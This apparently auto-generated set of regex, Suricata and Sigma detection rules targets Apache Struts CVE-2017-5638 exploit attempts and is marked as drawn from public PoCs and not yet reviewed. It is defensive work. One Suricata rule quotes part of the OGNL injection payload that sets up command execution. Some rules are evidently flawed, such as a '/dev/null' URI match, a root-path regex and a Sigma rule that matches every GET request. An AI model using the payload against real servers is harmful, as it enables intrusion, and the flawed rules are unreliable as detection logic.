- ACharaf06/CVE-2017-5638-Attack-and-Defense/simulator/simulate.sh:240 ACharaf06/CVE-2017-5638-Attack-and-Defense/simulator/simulate.sh:264
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/dev/null(?:[?#].*)?$
(?i)^/showcase\.action(?:[?#].*)?$
(?i)^/struts2-showcase/showcase\.action(?:[?#].*)?$
(?i)^/integration/saveGangster\.action(?:[?#].*)?$
(?i)^/(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [5000,8080,9080] (msg:"GG PoC-Monitor CVE-2017-5638 Apache Software Foundation Apache Struts exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/dev/null"; reference:url,poc.griffinguard.io/cve/CVE-2017-5638; classtype:web-application-attack; sid:9767399; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2017-5638 Apache Software Foundation Apache Struts exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/showcase.action"; reference:url,poc.griffinguard.io/cve/CVE-2017-5638; classtype:web-application-attack; sid:9353129; rev:1;)
alert http any any -> $HOME_NET [8360] (msg:"GG PoC-Monitor CVE-2017-5638 Apache Software Foundation Apache Struts exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/struts2-showcase/showcase.action"; reference:url,poc.griffinguard.io/cve/CVE-2017-5638; classtype:web-application-attack; sid:9408069; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2017-5638 Apache Software Foundation Apache Struts exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/integration/saveGangster.action"; http.header; content:"Referer: http://"; nocase; http.request_body; content:"name=%{"; http.request_body; content:"age="; http.request_body; content:"__checkbox_bustedBefore=true"; http.request_body; content:"description="; reference:url,poc.griffinguard.io/cve/CVE-2017-5638; classtype:web-application-attack; sid:9047901; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2017-5638 Apache Software Foundation Apache Struts exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.header; content:"$content-Type: %{(#_=|5c|multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?"; nocase; http.header; content:"$user-Agent: Mozilla/5.0"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2017-5638; classtype:web-application-attack; sid:9450406; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Apache Software Foundation Apache Struts exploit attempt (CVE-2017-5638)
id: gg-pocmon-cve-2017-5638-9767399
status: experimental
description: Request pattern taken from public PoCs for CVE-2017-5638. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2017-5638
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/dev/null'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2017.5638
title: Apache Software Foundation Apache Struts exploit attempt (CVE-2017-5638)
id: gg-pocmon-cve-2017-5638-9353129
status: experimental
description: Request pattern taken from public PoCs for CVE-2017-5638. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2017-5638
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/showcase.action'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2017.5638
title: Apache Software Foundation Apache Struts exploit attempt (CVE-2017-5638)
id: gg-pocmon-cve-2017-5638-9408069
status: experimental
description: Request pattern taken from public PoCs for CVE-2017-5638. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2017-5638
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/struts2-showcase/showcase.action'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2017.5638
title: Apache Software Foundation Apache Struts exploit attempt (CVE-2017-5638)
id: gg-pocmon-cve-2017-5638-9047901
status: experimental
description: Request pattern taken from public PoCs for CVE-2017-5638. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2017-5638
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/integration/saveGangster.action'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2017.5638
title: Apache Software Foundation Apache Struts exploit attempt (CVE-2017-5638)
id: gg-pocmon-cve-2017-5638-9450406
status: experimental
description: Request pattern taken from public PoCs for CVE-2017-5638. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2017-5638
logsource:
category: webserver
detection:
selection:
cs-method: GET
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2017.5638